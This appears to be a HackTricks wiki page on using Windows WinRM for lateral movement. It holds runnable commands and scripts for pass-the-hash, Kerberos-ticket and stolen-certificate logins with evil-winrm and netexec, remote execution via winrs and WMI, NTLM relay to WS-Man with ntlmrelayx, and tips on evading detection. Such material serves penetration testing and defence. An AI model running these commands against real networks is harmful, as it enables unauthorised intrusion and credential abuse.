winrm.md (12766B)
1 --- 2 title: "WinRM" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/lateral-movement/winrm.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/lateral-movement/winrm.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # WinRM 14 15 WinRM is one of the most convenient **lateral movement** transports in Windows environments because it gives you a remote shell over **WS-Man/HTTP(S)** without needing SMB service creation tricks. If the target exposes **5985/5986** and your principal is allowed to use remoting, you can often move from "valid creds" to "interactive shell" very quickly. 16 17 For the **protocol/service enumeration**, listeners, enabling WinRM, `Invoke-Command`, and generic client usage, check: 18 19 [5985 5986 Pentesting Winrm](/hacktricks/network-services-pentesting/5985-5986-pentesting-winrm) 20 21 ## Why operators like WinRM 22 23 - Uses **HTTP/HTTPS** instead of SMB/RPC, so it often works where PsExec-style execution is blocked. 24 - With **Kerberos**, it avoids sending reusable credentials to the target. 25 - Works cleanly from **Windows**, **Linux**, and **Python** tooling (`winrs`, `evil-winrm`, `pypsrp`, `netexec`). 26 - The interactive PowerShell remoting path spawns **`wsmprovhost.exe`** on the target under the authenticated user context, which is operationally different from service-based exec. 27 28 ## Access model and prerequisites 29 30 In practice, successful WinRM lateral movement depends on **three** things: 31 32 1. The target has a **WinRM listener** (`5985`/`5986`) and firewall rules that allow access. 33 2. The account can **authenticate** to the endpoint. 34 3. The account is allowed to **open a remoting session**. 35 36 Common ways to gain that access: 37 38 - **Local Administrator** on the target. 39 - Membership in **Remote Management Users** on newer systems or **WinRMRemoteWMIUsers__** on systems/components that still honor that group. 40 - Explicit remoting rights delegated through local security descriptors / PowerShell remoting ACL changes. 41 42 If you already control a box with admin rights, remember you can also **delegate WinRM access without full admin group membership** using the techniques described here: 43 44 [Security Descriptors](/hacktricks/windows-hardening/active-directory-methodology/security-descriptors) 45 46 ### Authentication gotchas that matter during lateral movement 47 48 - **Kerberos requires a hostname/FQDN**. If you connect by IP, the client usually falls back to **NTLM/Negotiate**. 49 - In **workgroup** or cross-trust edge cases, NTLM commonly requires either **HTTPS** or the target to be added to **TrustedHosts** on the client. 50 - With **local accounts** over Negotiate in a workgroup, UAC remote restrictions may prevent access unless the built-in Administrator account is used or `LocalAccountTokenFilterPolicy=1`. 51 - PowerShell remoting defaults to the **`HTTP/<host>` SPN**. In environments where `HTTP/<host>` is already registered to some other service account, WinRM Kerberos may fail with `0x80090322`; use a port-qualified SPN or switch to **`WSMAN/<host>`** where that SPN exists.<sup>[[3]](#references)</sup> 52 53 If you land valid credentials during password spraying, validating them over WinRM is often the fastest way to check whether they translate into a shell: 54 55 [Password Spraying](/hacktricks/windows-hardening/active-directory-methodology/password-spraying) 56 57 ## Linux-to-Windows lateral movement 58 59 ### NetExec / CrackMapExec for validation and one-shot execution 60 61 ```bash 62 # Validate creds and execute a simple command 63 netexec winrm <HOST_FQDN> -u <USER> -p '<PASSWORD>' -x "whoami /all" 64 65 # Pass-the-Hash 66 netexec winrm <HOST_FQDN> -u <USER> -H <NTHASH> -x "hostname" 67 68 # PowerShell command instead of cmd.exe 69 netexec winrm <HOST_FQDN> -u <USER> -H <NTHASH> -X '$PSVersionTable' 70 ``` 71 72 ### Evil-WinRM for interactive shells 73 74 `evil-winrm` remains the most convenient interactive option from Linux because it supports **passwords**, **NT hashes**, **Kerberos tickets**, **client certificates**, file transfer, and in-memory PowerShell/.NET loading. 75 76 ```bash 77 # Password 78 evil-winrm -i <HOST_FQDN> -u <USER> -p '<PASSWORD>' 79 80 # Pass-the-Hash 81 evil-winrm -i <HOST_FQDN> -u <USER> -H <NTHASH> 82 83 # Kerberos using an existing ccache/kirbi 84 export KRB5CCNAME=./user.ccache 85 evil-winrm -i <HOST_FQDN> -r <REALM.LOCAL> 86 ``` 87 88 ### Kerberos SPN edge case: `HTTP` vs `WSMAN` 89 90 When the default **`HTTP/<host>`** SPN causes Kerberos failures, try requesting/using a **`WSMAN/<host>`** ticket instead. This appears in hardened or odd enterprise setups where `HTTP/<host>` is already attached to another service account.<sup>[[3]](#references)</sup> 91 92 ```bash 93 # Example: use a WSMAN ticket instead of the default HTTP SPN 94 export KRB5CCNAME=administrator@WSMAN_srv01.domain.local@DOMAIN.LOCAL.ccache 95 evil-winrm -i srv01.domain.local -r DOMAIN.LOCAL --spn WSMAN 96 ``` 97 98 This is also useful after **RBCD / S4U** abuse when you specifically forged or requested a **WSMAN** service ticket rather than a generic `HTTP` ticket. 99 100 ### Certificate-based authentication 101 102 WinRM also supports **client certificate authentication**, but the certificate must be mapped on the target to a **local account**. From an offensive perspective this matters when: 103 104 - you stole/exported a valid client certificate and private key already mapped for WinRM; 105 - you abused **AD CS / Pass-the-Certificate** to obtain a certificate for a principal and then pivot into another authentication path; 106 - you are operating in environments that deliberately avoid password-based remoting. 107 108 ```bash 109 evil-winrm -i <HOST_FQDN> -S -c user.crt -k user.key 110 ``` 111 112 Client-certificate WinRM is much less common than password/hash/Kerberos auth, but when it exists it can provide a **passwordless lateral movement** path that survives password rotation. 113 114 ### Python / automation with `pypsrp` 115 116 If you need automation rather than an operator shell, `pypsrp` gives you WinRM/PSRP from Python with **NTLM**, **certificate auth**, **Kerberos**, and **CredSSP** support.<sup>[[2]](#references)</sup> 117 118 ```python 119 from pypsrp.client import Client 120 121 client = Client( 122 "srv01.domain.local", 123 username="DOMAIN\\user", 124 password="Password123!", 125 ssl=False, 126 ) 127 stdout, stderr, rc = client.execute_cmd("whoami /all") 128 print(stdout, stderr, rc) 129 ``` 130 131 132 If you need finer control than the high-level `Client` wrapper, the lower-level `WSMan` + `RunspacePool` APIs are useful for two common operator problems: 133 134 - forcing **`WSMAN`** as the Kerberos service/SPN instead of the default `HTTP` expectation used by many PowerShell clients; 135 - connecting to a **non-default PSRP endpoint** such as a **JEA** / custom session configuration instead of `Microsoft.PowerShell`. 136 137 ```python 138 from pypsrp.wsman import WSMan 139 from pypsrp.powershell import PowerShell, RunspacePool 140 141 wsman = WSMan( 142 "srv01.domain.local", 143 auth="kerberos", 144 ssl=False, 145 negotiate_service="WSMAN", 146 ) 147 148 with wsman, RunspacePool(wsman, configuration_name="MyJEAEndpoint") as pool, PowerShell(pool) as ps: 149 ps.add_script("whoami; Get-Command") 150 output = ps.invoke() 151 print(output) 152 ``` 153 154 ### Custom PSRP endpoints and JEA matter during lateral movement 155 156 A successful WinRM authentication does **not** always mean you land in the default unrestricted `Microsoft.PowerShell` endpoint. Mature environments may expose **custom session configurations** or **JEA** endpoints with their own ACLs and run-as behavior.<sup>[[1]](#references)</sup> 157 158 If you already have code execution on a Windows host and want to understand what remoting surfaces exist, enumerate the registered endpoints: 159 160 ```powershell 161 Get-PSSessionConfiguration | Select-Object Name, Permission 162 ``` 163 164 When a useful endpoint exists, target it explicitly instead of the default shell: 165 166 ```powershell 167 Enter-PSSession -ComputerName srv01.domain.local -ConfigurationName MyJEAEndpoint 168 ``` 169 170 Practical offensive implications: 171 172 - A **restricted** endpoint can still be enough for lateral movement if it exposes just the right cmdlets/functions for service control, file access, process creation, or arbitrary .NET / external command execution. 173 - A **misconfigured JEA** role is especially valuable when it exposes dangerous commands such as `Start-Process`, broad wildcards, writable providers, or custom proxy functions that let you escape the intended restrictions. 174 - Endpoints backed by **RunAs virtual accounts** or **gMSAs** change the effective security context of the commands you run. In particular, a gMSA-backed endpoint can provide **network identity on the second hop** even when a normal WinRM session would hit the classic delegation problem. 175 176 ## Windows-native WinRM lateral movement 177 178 ### `winrs.exe` 179 180 `winrs.exe` is built in and useful when you want **native WinRM command execution** without opening an interactive PowerShell remoting session: 181 182 ```batch 183 winrs -r:srv01.domain.local cmd /c whoami 184 winrs -r:https://srv01.domain.local:5986 -u:DOMAIN\\user -p:Password123! hostname 185 ``` 186 187 Two flags are easy to forget and matter in practice: 188 189 - `/noprofile` is often required when the remote principal is **not** a local administrator. 190 - `/allowdelegate` enables the remote shell to use your credentials against a **third host** (for example, when the command needs `\\fileserver\share`). 191 192 ```batch 193 winrs -r:srv01.domain.local /noprofile cmd /c set 194 winrs -r:srv01.domain.local /allowdelegate cmd /c dir \\fileserver.domain.local\share 195 ``` 196 197 Operationally, `winrs.exe` commonly results in a remote process chain similar to: 198 199 ```text 200 svchost.exe (DcomLaunch) -> winrshost.exe -> cmd.exe /c <command> 201 ``` 202 203 This is worth remembering because it differs from service-based exec and from interactive PSRP sessions. 204 205 ### `winrm.cmd` / WS-Man COM instead of PowerShell remoting 206 207 You can also execute through **WinRM transport** without `Enter-PSSession` by invoking WMI classes over WS-Man. This keeps the transport as WinRM while the remote execution primitive becomes **WMI `Win32_Process.Create`**: 208 209 ```batch 210 winrm invoke Create wmicimv2/Win32_Process @{CommandLine="cmd.exe /c whoami > C:\\Windows\\Temp\\who.txt"} -r:srv01.domain.local 211 ``` 212 213 That approach is useful when: 214 215 - PowerShell logging is heavily monitored. 216 - You want **WinRM transport** but not a classic PS remoting workflow. 217 - You are building or using custom tooling around the **`WSMan.Automation`** COM object. 218 219 ## NTLM relay to WinRM (WS-Man) 220 221 When SMB relay is blocked by signing and LDAP relay is constrained, **WS-Man/WinRM** may still be an attractive relay target. Modern `ntlmrelayx.py` includes **WinRM relay servers** and can relay to **`wsman://`** or **`winrms://`** targets. 222 223 ```bash 224 # Relay to HTTP WinRM 225 ntlmrelayx.py -t wsman://srv01.domain.local --no-smb-server -smb2support 226 227 # Relay to HTTPS WinRM 228 ntlmrelayx.py -t winrms://srv01.domain.local --no-smb-server -smb2support 229 ``` 230 231 Two practical notes: 232 233 - Relay is most useful when the target accepts **NTLM** and the relayed principal is allowed to use WinRM. 234 - Recent Impacket code specifically handles **`WSMANIDENTIFY: unauthenticated`** requests so `Test-WSMan`-style probes do not break the relay flow. 235 236 For multi-hop constraints after landing a first WinRM session, check: 237 238 [Kerberos Double Hop Problem](/hacktricks/windows-hardening/active-directory-methodology/kerberos-double-hop-problem) 239 240 ## OPSEC and detection notes 241 242 - **Interactive PowerShell remoting** usually creates **`wsmprovhost.exe`** on the target. 243 - **`winrs.exe`** commonly creates **`winrshost.exe`** and then the requested child process. 244 - Custom **JEA** endpoints may execute actions as **`WinRM_VA_*`** virtual accounts or as a configured **gMSA**, which changes both telemetry and second-hop behavior compared to a normal user-context shell.<sup>[[1]](#references)</sup> 245 - Expect **network logon** telemetry, WinRM service events, and PowerShell operational/script-block logging if you use PSRP rather than raw `cmd.exe`. 246 - If you only need a single command, `winrs.exe` or one-shot WinRM execution may be quieter than a long-lived interactive remoting session. 247 - If Kerberos is available, prefer **FQDN + Kerberos** over IP + NTLM to reduce both trust issues and awkward client-side `TrustedHosts` changes. 248 249 ## References 250 251 - [1] [Microsoft: JEA Security Considerations](https://learn.microsoft.com/en-us/powershell/scripting/security/remoting/jea/security-considerations?view=powershell-7.6) 252 - [2] [pypsrp README](https://github.com/jborean93/pypsrp) 253 - [3] [Microsoft: Error `0x80090322` when connecting PowerShell to a remote server via WinRM](https://learn.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/error-0x80090322-when-connecting-powershell-to-remote-server-via-winrm)